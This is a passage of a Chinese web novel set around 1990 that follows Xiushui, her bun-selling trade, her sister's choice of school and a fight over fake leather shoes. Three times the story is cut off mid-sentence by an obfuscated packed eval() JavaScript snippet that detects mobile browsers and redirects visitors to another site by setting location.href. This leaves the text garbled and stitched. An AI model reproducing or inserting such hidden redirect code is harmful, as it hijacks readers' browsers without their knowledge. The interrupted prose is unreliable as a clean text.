到了供销社宿舍区时,正是中午时分。雨停了,秀水推车走在长满法国梧桐的巷道里,大声叫卖:“豆腐包子来!好吃的豆腐包!”两旁的楼房和平房里,陆续有人伸出头来喊:“豆腐包,站住!” 卖完包子,秀水往往会问一句:“自家做的卤肥肠,来不来一包?” 她没带秤,肥肠都是在家用干荷叶分包好的。也有人打开看看成色或者尝一块,顺便带一包回家加个餐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722572|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在供销社小区卖出去不少,转头到了棉花收购站的宿舍楼旁。她站在屋檐下,朝对面的楼房喊了一两声,二楼便有扇窗户打开了,露出一张脸说:“等一下,买包子。” 不一会儿,从对面楼上跑下来一个和她年龄相仿的男孩,也没打伞,冒雨过了街。秀水看他长得高高壮壮的,脸上还有几颗青春痘,面熟得很,便随口问道:“是不是二中的学生?在学校那边买过我家包子吧?” 男孩只“嗯”了一声,并不准备答话。秀水便打开泡沫箱的盖子,“要多少?” 男孩递出五块钱,秀水诧异道:“买二十个?我家包子大,你吃得完吗?天气热,放明天说不定就坏了。” “吃得完。”男孩答。 秀水不再多说,利落地取出包子递给他,“老客户了,多送你一个。” 男孩子点点头,并不说话,转身上楼去了。 秀水又在屋檐下等了一会儿,看着雨小了,准备朝里走。这时从巷子外面走过来两个青年人,长头发,嘴里叼着烟,在巷子里走得歪歪扭扭。看到屋檐下躲雨的秀水,两人对了下眼色,朝她走过来。 “喂,谁叫你在这儿卖东西的?”矮个子凶巴巴问。 这人一看就是本区的混子,秀水不想跟他们发生争执,忙道:“马上就走。” “走?”高个子握住了她的自行车把手,“在我地盘上卖完了东西就想走?问过我吗?” 秀水也烦了,眉头一皱道:“不然呢?” “交钱!”矮子扬声道,“交罚款!” “你谁啊?”秀水差点气笑了,提高声音道:“你又不是执法人员,凭什么让我交罚款?” “你问我是谁?”矮个子也冷笑,斜眼看看高个子,显然是希望同伴替自己吹一波。谁知高个子全无默契,两人对视片刻,矮个子只好自己说,“你打听打听,这条街上谁不晓得我龙哥的名号?” “没听说过,”秀水用气死人不偿命的语气挑衅道:“那你认得王大刀疤吗?” “王大刀疤”这个名号,光是听起来就比龙哥要威风,而且秀水脸上丝毫没有农村人身上常见的谨小慎微。高矮两个人都沉默了片刻,但手头太紧,眼看能发点小财,他们不想错过。矮个子便喊:“我不管你认得哪个,拿钱来!不然今天你别想走!” 秀水沉默片刻,手有点痒。她很久没练了,又换了一具身体,找人试试手感也不错。 正在僵持中,对面二楼的窗户又开了,刚买过包子的那张脸又露出来,不高不低道:“张伟龙!” 自称龙哥的矮个子抬头看,脸上立刻浮现出谄媚的笑容,欢快道:“晟哥!你在家啊?今天没去学校?” 他的晟哥并未理会这巴结的寒喧,只简短道:“让她走。” 高个和矮个同时松开车把,让出道路。秀水看看楼上男孩,没有说话,只低着头骑上车,冒着小雨冲了出去。 11. 第 11 章 随着六月的到来,天气越发炎热。村里的人逐渐把晚餐搬到了晒谷坪上。 晚饭时分,晒谷坪上摆放着小方桌、竹床和黑白电视机。忙碌了一天的人们围坐在桌旁吃饭,电视里播放着《封神榜》,“花开花落,花开花落,悠悠岁月长长的河……”毛阿敏的歌声响起,人们沉浸在剧情里难以自拨。 “这个妲己真坏!真狠毒!” “哪吒长得好看,难怪说他是荷花荷叶变出来的……” 有时电视看着看着,忽然白光一闪就黑屏了。黑暗的村庄里,不约而同响起阵阵遗憾的叹息声,——停电了。 在广告的间隙里,主妇们收桌子洗碗,催促孩子们去洗澡。等两集电视剧结束,就到了睡觉的时间。孩子们躺在竹床上,凉风悠悠,明月朗朗,抬眼就是浩瀚的天空。也有大人把家里的门板取下来,支在两根条凳上,铺上席子就成了床。 天气起来后,秀水几乎每天都睡在外面。晚上拿湿毛巾把竹床擦两遍,躺上去凉丝丝的。南风吹过,带来一点凉意和青草气息。萤火虫在菜园里忽闪着飞过,在蛙声的聒噪中,不知不觉就沉入了梦乡。 他们家睡得比别家更早,往往是第一集电视剧刚结束,刘瑞英就忙忙地关电视,收拾一番准备睡觉。对此大家并没有异意。毕竟家里的作息太魔鬼了,别人家是五点钟起床,而刘瑞英和喻庆山一两点钟就得起床干活。 推磨是辛苦的,但刘瑞英是快乐的。泡发好的黄豆,她和喻庆山一个人喂料,一个人推磨,替换着来,大半个钟头就能磨完。在闷热的厨房里,两人汗出如浆,滤渣、煮浆、点卤、压制一气呵成。等包子进了笼上了汽水,她才去喊女儿们起床。毕竟她中午还能补个觉,秀水却不太有这种机会。 秀水连早饭都在城里吃,时间太宝贵,她每次都是抹抹脸梳个头就出发了。秀竹现在不用送姐姐,可以坐在餐桌边从从容容地吃完再走。孩子马上要中考了,需要营养,刘瑞英每天给她的豆浆里放两勺白糖。 “只要你考上了,妈就让你读!”她在餐桌前碎碎念,“妈是没机会读书,我的女儿想读多久就读多久……早先我读初中的时候,学习成绩还不是经常考全班第一。结果到初二你外公外婆硬是不让我读了,说女孩子读书没有用,年龄大了上学遭人笑话。那时候我的班主任林老师到家几次,给你外公外婆做思想工作,硬是没做通。林老师最后流着眼泪走走的,唉——,林老师真是个好人,也不晓得现在去了哪里教书……你好好上学,不用操心学费的事。家里有钱供你读,何况现在咱家卖包子还能挣点钱……” 闲的时候她又清点家里存款,眼看着都快过万了,她的心里就激动得怦怦跳。整个红英大队都挑不出一个万元户呢,而她刘瑞英,存款即将过万了! “明年咱们就盖房!”她意气风发地和喻庆山商量,“要去买红砖、买瓦,盖崭新的砖瓦房。到时让她们姐妹俩一人一间卧室。秀水大了,也该一个人住了……还有厨房也盖宽敞点,再盖个杂物间……” 对于她的提议,喻庆山向来是支持的。听老婆的话是这个男人最可贵的优点。更何况,他对新房的期盼也一点都不比刘瑞英少。夫妻俩核计着盖房的用料用工,把日子过得充满盼头。 不知不觉间就到了六月中旬,喻秀竹迎来了自己的首次大考——中考。 中考当天,家里依旧是早早地磨豆浆、做包子。不同以往的是,刘瑞英煎了好几个焦黄的荷包蛋,一看就没少放油。还下了一大盆面条,早上现卤的肥肠,她连肠带汤地在每人碗里都浇了两大勺。 等秀竹起床,秀水已经吃完准备走了,她推着自行车冲妹妹嚷嚷:“好好考,放轻松。你没问题的。” “好,我晓得。”秀竹答:“姐你快走,路上小心!” 吃完饭喻秀竹自己骑车去了考点。下午回家后,刘瑞英觑着小女儿的脸色,问:“考得咋样?” “还行吧。”喻秀竹答。 刘瑞英和喻庆山见她神情轻松,心里便安定了。秀竹说还行,那就是没问题。 三天时间一晃而过。等孩子们全部考完,秀竹的班主任王老师才交给她一封信。原来一个星期前这封信就到了,但王老师生怕这些杂七杂八的信件会影响孩子中考,就截留了下来。秀竹可是他们班甚至是全校唯一的希望,关键时刻可不能让她分心。 秀竹在骑车回家的路上,走到一半,就停在一座小树林里拆开了信。果然是她的笔友奇志写来的。 奇志先是在信中提到了最近上过新闻的一件事,前几天的某个晚上,某市居民看到空中有个大火球坠落在地,大家议论纷纷,都认为这是外星人派来的UFO。 “我们对头顶的这片星空知之甚少。”奇志在信中写道:“同样的,我们对人类自身的探索也才刚刚起步。比如人类的灵魂究竟是由什么组成的,是什么让我们成为了现在的我们…… 你信中所说的姐姐的改变,让我想到了一个古老的悖论。雅典国王忒修斯曾经驾驶船只,去一座岛屿斩杀怪物。为了纪念他的功绩,人们保留了这艘船,并不断维修。最后,这艘船的所有部件都被更新替换过了。就有人提出疑问,如果这艘船的所有部件都是新的,那它还能被称为“忒修斯之船”吗?如果用替换下来的部件重新建一艘船,那么,哪一艘船才是真正的“忒修斯之船”? 我不知道。但我想,无论答案是什么,你的心中肯定已经有了自己的看法。 另外,很遗憾地告诉你一个消息,我们的通信恐怕要暂停一段时间了。因为这个学期过后,我就要跟父母去美国读书了。对于那个陌生的国度,我已经期盼很久了。我很兴奋,但也有点迷茫。很舍不得生活了这么久的这座城市,也舍不得你和朋友们。等我在那边定居下来,我们再继续通信! 顺祝一切安好! 你的朋友奇志。 一九九零年六月。” 秀竹坐在树下看了两遍,这才抬头看了看身周的世界。乡村的田野里,青草和秧苗长得郁郁葱葱。忒修斯之船和美国都显得遥不可及。她这一生,还从没去过离家一百里之外的地方,而她知识渊博的朋友却要离开中国,去另一个国家读书了。 这让她倍感惆怅,同时又生出了一点隐秘的向往。 不过向往归向往,回了家还是一切照旧。秀竹中考完毕后,刘瑞英和喻庆山都觉得轻省了好些。因为家里多了个劳动力。家里的耕牛是和喻庆海共用的,两家轮着喂。现在正好轮到了喻庆山家。于是秀竹天天早上跟姐姐一起起床,一个去卖包子,一个去放牛。等太阳出来后,她牵着牛回来,肩上还担一筐青草。然后洗衣服,跟父母下田除草,没几天就晒得黢黑。 过了大半个月,王老师托人带信,让她去学校一趟。喻秀竹忙骑车去了,回来后把抄的分数条给父母看,她的分数不仅超过了县一中的录取线,也超过了县师范的录取线。 “英语考得不行,其他都还行。”她谦虚地说。 除了英语考了六十多分,秀竹其余的科目都过了九十分。数学和物理更是接近满分。而英语也并非是她没学好,而是她所在的乡镇中学前年才分配来一个英语老师。之前学校是没有开设英语这个科目的。 刘瑞英简直乐开了花,“喻庆山,你家祖坟冒青烟了!” 喻庆山也笑得合不拢嘴,“好好好!以后有书读了!只要你考上了,爸就供你读!” 秀水看着分数条,也很震惊。她知道妹妹成绩好,但没想到这么好!就乡镇初中那个师资水平,孩子们考个位数才是常态。而且她从没见过秀竹在家写作业看书,这就是天赋怪吗? “暑假好好把英语补一补,”秀水建议,“能去县一中读书的孩子都很厉害,英语太差了到时会拖后腿。” 饭桌边的另三个人都沉默了,片刻后刘瑞英说:“读什么高中?好容易能进县师范,肯定是去读师范啊。” 县师范指的是怀安县中等师范学校,虽然是个中专,但八十年代的录取分数线要远远高于县重点高中。因为读师范有补助,毕业后县里包分配,能稳稳地吃上商品粮。所以它也是很多农村孩子不可企及的梦想。 大女儿没能吃上商品粮,刘瑞英始终耿耿于怀。好在小女儿争气,从小学习就好。要是进了县师范,毕业后就成了老师,一辈子都不用在农村种地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722573|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 秀水却提出反对意见,“读什么师范!竹子这么聪明,肯定要读高中、念大学啊。以后大学生才吃香。” 谁不知道大学生吃香?问题是谁能保证孩子以后考上大学啊?放眼整个红英大队,还没有出过一个大学生呢,连高中生都很稀少。 但秀水说得这么理所当然,连刘瑞英这个县师范的坚定支持者都产生了一丝小小的动摇。不过她很快就清醒过来,“那要是考不取大学呢?不白读了?” “那就复读一年再考呗。” “复读两三年都考不上的人多的是,”刘瑞英道:“而且我听人说,女孩子上了高中,后劲不足。不像男孩们有冲劲,高一不行也能在高三赶起来。所以我说读师范就挺好。” “您都听谁胡说八道呢,”秀水皱起了眉,“谁说女孩上了高中就后劲不足?有什么理论或数据支持这个论点吗?” “你妈说得没错,本来考大学的女孩子就少。”喻庆山在旁边给老婆帮腔。 “那是因为很多女孩子都被剥夺了受教育的权利!”秀水道:“就跟妈一样,本来学习很好,家里不让上学,就只好不读了。妈,要是当年你父母支持你一直读下去,说不定你现在也是大学生!” 这话听得刘瑞英心里又酸楚又舒坦,而且大女儿现在是家里最能挣钱的人,她的话也自然有了份量。于是刘瑞英转头问秀竹,“你想到哪儿读书去?” 秀竹看看父母,又看姐姐,抿嘴不答。 “让孩子好好想想,急什么!”喻庆山说着,站起来搬门板去了。 晚上姐妹俩躺在纳凉的竹床上,秀水有一下没一下地摇着蒲扇,秀竹却是看着星空沉默了半晌。 她以前从没想过那么远的事。她妈总是羡慕舅舅,有份旱涝保收的工作,家里能经常吃肉,因此秀竹也以为,有个铁饭碗、吃上商品粮就是人生巅峰。 可是自从听奇志说,他要出国去读书,她原本的世界就裂开了一条小小的缝。现在,她姐的建议又让这条缝里透进了一线光。于是秀竹生出了一个更大的梦想:到大城市去读学,去看看外面的世界是什么样的。 “姐,”她翻了个身,看着秀水,“你说,女孩子上高中真的会成绩下滑吗?今天,王老师也对我说了这些话……” 王老师那么喜欢她、关心她,都在劝她读师范。可见在父母和师长们看来,县师范真的是她最好的选择吧。 秀水没有回答她这个问题,而是说:“这个说法是不是真的,并不重要,重要的是,你信不信这话?” “高中的课程会比初中难很多。而且你高中的同学跟初中也不同。县一中的孩子都是各个学校的尖子生,以往你轻轻松松就能拿个全班第一,到了一中你会发现,取胜不是件容易的事情了。”秀水望着天空,轻声分析,“你会有挫败感,会觉得迷茫,然后脑海中就会不自觉想起那句话,女孩子本来就不行。” 顿了顿,她又说:“可你要是认真看看周围,就会发现,所有的学生都会在高中课程上遇到困难,男生的挫败不会比你少。但这个世界总是鼓励男孩子勇往直前,去攫取自己想要的胜利。所以他们前进的步伐总会更坚定。” 她扭头看秀竹,“所以,你问我这个说法是真的吗?我不信。我从来就不信女孩子不能干这个干那个。你的父母和老师基于他们的人生经验,给了你他们认为对的建议。但我认为你自己的想法才最重要。你觉得自己是主角,你才会成为主角;你想要达成某个目标,你就要去努力去争取。别人的建议和看法可以适当听听,但别被这些话把自己困住了……” 秀竹听得呆了,在她小小的世界里,除了奇志,没有人会对她说这样的话。甚至奇志都没有说过这样的话。 她看着姐姐,很久才悄声问:“姐,你……你其实是从外星来的吧?” “为什么这么问?”秀水扭头看她,过了一会儿又说:“不过,我确实了解一点未来的世界。在那个世界里,有很多优秀的女性,她们是科学家、企业家、官员、运动员,很了不起……”她顿了顿,语气中带上了自豪,“还有人在世界级的综合格斗比赛中获得金腰带哦……” 12. 第 12 章 过了两天,秀竹又去学校了,这次是去填报志愿。 她最终还是选择读高中。县师范的宝贵名额就这样白白浪费了,让刘瑞英心痛不已。但秀水描绘的美好前景又让她觉得,能去县一中读书也是很好的选择。 “反正只要你肯读,家里就供得起!”她对秀竹说,“全家供你一个人,难道还供不出来?只要你考得取大学,哪怕读你姐说的那个啥,硕士博士的,咱家都供得起。到时老喻家也出一个科学家,看哪个还敢看不起我生的两个姑娘……” 等秀竹从学校填完志愿回来,发现家里来了客人,原来她姨刘兰英一直挂念着秀水,又想到秀竹中考出了成绩,特意过来打听情况。老姐妹俩一边做饭,刘瑞英一边把家里最近发生的事都告诉了她。刘兰英自然也替姐姐高兴。 “照这么说,卖包子可比去城里上班强多了!”刘兰英一边择韭菜,一边感叹,“就是天天早起人辛苦。不过干什么不辛苦?我在棉纺厂上班,三班倒,一个月也才刚过二百块钱。” “就是这么说,”刘瑞英笑容满面,说:“我本来后悔把秀水送去当保姆呢,哪晓得她在城里学了这个手艺。真是没看出来,我秀水以前那么老实一个孩子,在外头还会那么留心。” “秀水本来就手巧,她给我绣的枕头套子,谁看了都说好。”刘兰英叹息:“姐,你以后享两个姑娘的福!秀水这么能干,秀竹又学习好!到县一中读书,多少人想不到的!就只是不读师范好可惜!” “可不是!”刘瑞英把韭菜拿去淘洗,说:“读了师范,铁饭碗就端稳了,多好!可秀水说了,秀竹聪明,就应该让她去读大学。读中专是浪费人才……咳,反正她说得一套一套的,我跟她爸想都想不出来。秀竹呢也想考大学,我左思右想,不能以后让孩子埋怨咱,说当初没让她读高中……” 因为来了客,刘瑞英奢侈地煎了最后一点腊肉,做了豆渣合菜,煎了两面金黄的韭菜盒子。刘兰英第一次吃豆渣合菜,一边吃一边说香,刘瑞英又道:“这也是秀水教我做的,简单得很,家里天天都是新鲜豆渣,他们都吃腻了。” 饭后两人又在房里蛐蛐,原来过几天就是刘文强的儿子刘子康过十岁生日,刘兰英来问姐姐赶多少人情合适。两姐妹商量了半天,决定赶五十块钱人情,再每人送些鞋袜衣服。平时别家做事,赶二十块人情就不得了了,但刘家父母就这么一个金孙,全家都看得贵重,刘瑞英平时再小气,这时候也得打肿脸充胖子。 商量完了,刘瑞英便约了刘兰英,第二天一起去城里给刘子康买鞋子。刘兰英又说:“到时给秀竹也买两件新衣新鞋,在城里上学不比乡下,不能让孩子穿得太寒碜了。不然老师同学瞧不起。” 一句话提醒了刘瑞英。第二天早上,包子蒸出来之后,几个人便一起进城。秀水骑车载着两箱包子,秀竹骑车载着刘瑞英。这一回却是秀水骑得飞快,秀竹险些赶不上。两人紧赶慢赶,到城门口也才不到七点。 秀水在城门口和她们分开,自去卖包子了。刘瑞英便和秀竹去了百货公司,把车停在那儿等刘兰英。太早了,好多商场都没开门,母女俩吃完带着的包子,又到处走了走,刘兰英这才骑车到了。三个人便去百货公司,楼上楼下地逛了一圈,没看到合适的,又去了沿街的市场。 怀安县城只有两条主街,呈十字交叉状。街道两旁分布着粮油店、点心铺、理发店和各种商场。三个人去了卖衣服鞋子的那条街,刘兰英给刘子康买了套秋季运动服,袖子和裤腿带两道杠,是今年最流行的款,花了四十块。然后三个人又去了一家卖皮鞋的店子,挑了半天款式,挑中了一款白色皮面的旅游鞋,也是时下最流行的款式。喊价七十块,还了半天价,老板才便宜了十块钱。 刘瑞英这辈子都没穿过皮鞋,看店里的鞋子双双都又高级又漂亮,便挑了双便宜些的,让秀竹也试了试。秀竹穿在脚上,果然比穿布鞋不知好看到哪里去了。秀竹都不敢迈步,只试了大小便脱下来。几人又砍了半天价,最后以四十块钱拿下,两双鞋子共花了一百块钱。 刘瑞英掏钱的时候,心痛得无法呼吸。真贵啊,她们全家人起早贪黑做包子,一个月也才几百块。城里的衣服鞋子真是贵得离谱。老板却笑她没见识,说她家已经是非常便宜的了,别家店铺的皮鞋谁不是一双一两百啊。 三个人提着衣服鞋子往外走,刘瑞英还想去便宜些的地方给秀竹买两件衣服,秀竹却说什么也不肯了。买鞋子花了大价钱,可不能再花钱了。刘瑞英的心痛也还没有平息,就没再坚持,三人各自回家了。那双昂贵的皮鞋装在鞋盒里,被秀竹珍重地放到了床下,决定等上学时再拿出来穿。 过了几天,眼看便到了刘子康的生日。刘瑞英打算提前一天带全家都回娘家去。秀水却以要卖包子为由,一口拒绝了。秀竹看姐姐不去,她也不想去,理由是家里要人喂猪喂牛。但真实原因是外公外婆眼里只有他们的宝贝金孙,对她们这些外孙女向来是不太搭理的。刘瑞英其实也舍不得为此而耽误生意,见两个孩子不愿意去,只好和喻庆山两人骑车去了。 她是家中长姐,从小就被父母灌输要听话懂事,上要体谅父母,下要礼让弟妹。这回和喻庆山清早过去,也是为了给娘家帮忙。刘家唯一的孙子过十岁生日,办酒席可是需要人手的。虽然因为秀水的事情,她和刘文强闹了点不愉快,可无论怎么说,这也是刘家的大事。她身为长姐,是没理由置身事外的。 两人一去就是一天,到晚上天黑才回来。刘瑞英去的时候高高兴兴,回来时却流着眼泪。 “杀千刀的卖鞋子的!”她恨恨地把手里的鞋子扔在地上,“赚的黑心钱!那么贵的鞋子,穿了一个上午就脱胶了,把我的脸都丢尽了!” 原来鞋子送过去后,刘子康一看就喜欢,等不及第二天的正日子就穿在了脚上。一整天,刘瑞英和喻庆山都在厨房帮忙,择菜洗菜,剁骨头剁肉。到下午时,刘瑞英她妈却愤愤地过来,把鞋子拿给刘瑞英看,已经是裂了口子。 鞋子裂了口是刘文强的老婆潘萍先发现的。因为粮食局领导大洗牌,刘文强的站长之梦也彻底没指望了。为了这个,两口子都对大姐很有些意见,认为这事的根由要怪秀水。这回看到送过来的鞋子这么差,潘萍便借机生事,把鞋子拿去给公婆看,说:“好容易孩子过生日,姑妈要是舍不得买鞋也就算了,送一双 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秀竹看到那双鞋子,已经跑去把床下的那双新鞋拿了出来,打开纸盒,还是一双漆黑漂亮的小皮鞋。但秀水拿在手里抠了一下,皮鞋的鞋面就烂了,隐隐露出里头的白色,——这双鞋更假,干脆就是纸板外面粘了一层极薄的黑胶。 也就是刘瑞英和刘兰英都没见过真正的好鞋子,才会被这种鞋子晃花了眼,生生被骗去了一百块钱。 “明天拿去退,”秀水说:“这样的东西也敢卖,太猖狂了吧。” 退自然是要去退的,但能不能退得出去可不一定。这年头别说退货,就是买了假货再回去换都很艰难。王海要到1995年才会出现,那么强悍的人在维权初期都很艰难,更何况刘瑞英这些乡里人呢? 但刘瑞英还是拿着鞋子去退货了。第二天一早,她和喻庆山一去半天,回来时两人都又气愤又无奈。鞋子果然没有退出去,店老板口口声声说他们把鞋子穿坏了,要退货可以,把鞋子还原就行。刘瑞英和对方吵了起来,店里便出来两个壮汉,把喻庆山推得险些跌一跤。刘瑞英眼看丈夫双拳难敌四手,忙把鞋子拿了,含着眼泪去了娘家。 她也不好意思把鞋子拿出来丢人现眼,只好又补了五十块钱的人情钱,凑成了一百元。饶是这样,潘萍还背地里翻了她好几个白眼。后来刘兰英知道了这事,也帮着大姐解释,李家父母这才对大女儿和大女婿说了几句软和话,夸他们都是孝顺的好孩子,幸好有他们帮忙,家里的宴席才整治得齐全。 晚上,刘瑞英忍气吞声地回来了,到家后却是左思右想,没忍住哭了一场。秀竹割猪草天黑才回,看到堂屋那两双鞋便什么都明白了,忙悄悄去厨下,就见喻庆山正坐在灶门口抽烟。他一般是不抽烟的,只有心里烦才会抽两口。 等秀水回家,知道了前因后果,却是没生气,只说:“等我明天拿去退。” “算了,”喻庆山说:“你搞不赢他们的,去了又白受一场气。” “我明天反正要进城卖包子,”秀水轻描淡写道:“退得出去就退,退不出去再说嘛。” “姐,明天我跟你一起去!”秀竹愤愤地说。 秀水答应了。刘瑞英和喻庆山又不放心,反而再三叮嘱,能退出去最好,不能退就算了。去城里买东西,哪有不上当的? 13. 第 13 章 第二天一早,姐妹俩便骑自行车进城了。秀水也不急,带着秀竹先到处卖包子。等到快十点钟,两姐妹才又去了卖鞋的那个门店。 两人把自行车远远地停了,这才提着鞋子进店。老板娘见有顾客上门,本来满面春风准备打招呼,一见到她们手里的鞋子便变了脸色,退回到收银台里,不打算理人。 秀水也不理她,只在门口站着。没过两分钟,便有逛街的人走进来。她忙提起鞋子给别人看,说:“这家的鞋子都是水货。” 那两人看了一眼鞋子,啧啧叹息着走了。过了一会儿,又是两人进来。秀水仍然如此这般展示了一番,又吓退了两人。 十点多钟正是店里生意最好的时候,来来往往的人多。老板娘不由怒了,喝道:“喂,你想干什么?” “你给我闭嘴!”秀水指着她厉声道,“门里面是你的店,我在门外站着,你狗叫什么?” 秀竹听得心惊胆战,就听老板娘咄咄逼人道:“你自己把鞋子穿坏了,还想拿来退?死乡巴佬,尽想占便宜!” “你卖的什么玩意儿自己不清楚吗?”秀水的气势更足,对着街上熙熙攘攘的人群就开始招呼:“大爷大妈,哥哥姐姐们,大家都来看看哎!这家卖的都是啥货色!鞋子刚上脚就开裂,皮鞋是纸板做的……” 老板娘急了,忙把她拉进来,恨恨地说:“你想干什么?坏我生意我跟你没完!” 秀水把鞋子扔在收银台上,“退了!” “退是不可能退的,”老板娘理直气壮地冷哼:“我店里就没有卖出去的货还能退的。你打听打听,谁家衣服鞋子卖出去了、被人穿过了还能退?我拿胶水给你粘粘就算了不起了……” 正说着,从外面进来两个膀大腰圆的男人,其中一个看了看秀水,问老板娘:“怎么个事?” 老板娘见来了撑腰的,气势更足了,哼了一声说:“把我鞋子穿坏了,还想来退货!真是好笑!” 那壮实男人便走过来,手差点指到秀水脸上,说:“看你是个女的,我不想动手,快给我滚!” 没想到秀水一步也没退,“今儿你要是不退鞋子,我让你生意做不成。”她语气平静,一字一顿地说,“不止是今天,我让你往后的生意都做不成! “嘿哟!”两个男人都气笑了,“老子在街上做生意,还没碰到你这号人!” 两人靠近秀水,一人抬手便要扇她耳光。秀水侧身轻巧避过,抬脚就踢中了他裆部。男人闷哼一声,被踢得撞在货架上,鞋子掉得满地都是。 屋里的另两个人都怔住了,片刻后另一个男人猛扑过来。秀水见势不好,一边啊啊啊地尖叫,一边跑出了店子。 片刻后她啊啊啊地又跑回来,手里还高举着一块砖,色厉内茬朝店里大喊:“敢欺负我姐,打死你们!” 但是,眼前的一幕却让她惊呆了。货架上的鞋子狼籍一地,两个壮汉躺在地上呻*吟。 喻秀竹提砖四顾,心中茫然。怎么了?到底发生了什么?她就出去了几秒,为什么他们都倒了,她姐竟然还站着? 喻秀水回头看妹子,也是一怔。她妹可真是好样的!遇事她可真上啊,都拿上武器了! 老板娘躲在收银台后不敢露头,她其实也没看清楚怎么回事。反正刚才电光火石的一瞬间,她老公和兄弟伙就被一个小姑娘放倒了,一个捂着裆一个抱着头,躺在地上爬不起来。 秀水跨过地上的两个男人,来到收银台,探身过去捞住老板娘的卷发,把人提溜了出来,“我叫你退货,听到没有?” “好好好,给你退给你退!”女老板飞快打开抽屉拿钱,“多少钱来着?” “两双鞋一百块,假一罚三,赔我三百!”秀水说。 “三百?你说得稀奇,哪有这么多……”老板娘视钱如命,开始挣扎。秀水抬手就扇了她一耳光,“国家法律规定的,卖假货被消费者发现了,假一罚三,知道吗你这个法盲!” 老板娘被打懵了,心痛地流着眼泪:“给你退,我这就给你退……” 喻秀水拿了三百块钱,往外走时,又对两个试图爬起来的男人狠踢了几脚,说:“让你们欺负人!” 然后她走到门口,对外面探头探脑朝里看的人群说:“大家都看到了,这家人卖的都是黑心烂货,还想打人,千万别进他的店!” 说完,她拉着秀竹扬长而去。秀竹频频回头,直到走出很远,见没人追过来,狂跳的心才稍稍平稳,她看着秀水,又崇拜又茫然:“姐,你……你怎么办到的啊?” “打架吗?”秀水看看她,“你想学?我教你啊。” “好啊!”秀竹立刻兴奋了,“回家你就教我,以后出门我也行侠仗义!” “教你打架,不是为了让你真去跟人打,”秀水忙更正妹子的观念,道:“像刚才那种情况,你一个人的时候就转身跑掉。你打不赢,受点气没什么,别受伤就行。因为他们都是些烂人,而你有很多人爱,这叫作幸福者退让原则。” “哦哦,”秀竹点头不迭,想了会儿又问:“那你又为什么要跟他们打呢?你不怕受伤吗?” “那当然是因为这两个小菜在我眼里不值一提!”秀水不屑道。 秀竹扭头看着姐姐,就见秀水高高抬着头,露出修长的脖子,再配上她乌黑的眉眼和长发,这一刻,她觉得姐姐就像一个威风凛凛的女英雄,就连香港武侠片里的女侠都没有她那么美、那么飒! 姐妹俩从那条街上出来后,秀水推着车,第一件事就是去找县工商局,她要投诉那个商家。 这年头假货太多了,工商局肯定管不过来,很可能也不会管。但是不投诉一下,她心里总觉得不舒服。果然,她们找到县工商局的时候,楼上楼下问了半天,才有人接待她们,把秀水说的内容登记了一下,就没有下文了。 秀水也不在意,转身带着秀竹给她买鞋去了。 这回秀竹怎么也不肯买皮鞋了。那双该死的纸板皮鞋给她留下了深刻的印象,还死贵死贵的,万一再碰上坑人的商家,就算她姐能打,也不能再去打一架啊。打架又不是什么好事。 秀水也没勉强,两人在街上逛了一会儿,她给秀竹挑了双回力球鞋,又轻便又耐穿。然后又给家里四个人每人买了一双塑料凉鞋。五双鞋一共花了不到五十块钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722575|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚上回家时,秀水又叮嘱妹子,不要把上午的事告诉父母,免得他们担心。秀竹忙点头,其实她觉得,就算说实话,爸妈也不会相信。别说他们了,她到现在都觉得在店里发生的事跟做梦一样。 回家后,秀水把一百块钱交给母亲,剩下的一百多块钱自己揣着了。刘瑞英和喻庆山听说鞋子退回去了,都不敢相信。刘瑞英还把秀竹拉到厨房,悄悄问她:“竹子,你跟妈说实话,那一百块是不是秀水垫的自己身上的钱?” “哎呀妈,真退回去了,”秀竹说:“我跟姐姐亲自退的,我还能骗你?” “真退了?”刘瑞英震惊道:“那些人也没骂你们,也没打你们,就这么退了?” “骂是肯定要骂的,”喻秀竹说着,自己也觉得难以服人,又说:“我们是遇到好心人了。我们去退的时候,那个女老板也骂了人,这时候,从外面进来一个女侠,三下五除二就把老板和他的走狗干翻了!然后……” “讲鬼话!”刘瑞英根本不信,“少看你爸那些不正经的书!这年月哪儿来的女侠!” “真的不骗你!”喻秀竹说:“好多人都看到了的,不信你去街上问。女侠还说,她揍的就是卖假货的人!以后大家买了假货水货,都要到工商局投诉,然后她得了信,就到街上惩奸除恶……” 在门外听到的秀水:…… 简直张口就来啊,难怪这妮子语文成绩也那么好!以后怕不是个网文作家! 无论有多少疑惑,刘瑞英和喻庆山还是感到扬眉吐气。城里人最喜欢欺负农村人了,往常他们进城去,被凶了、被骗了,有理都没处说去。万万没想到,这回大女儿竟然把钱要了回来!真不知道她到底使了什么办法! 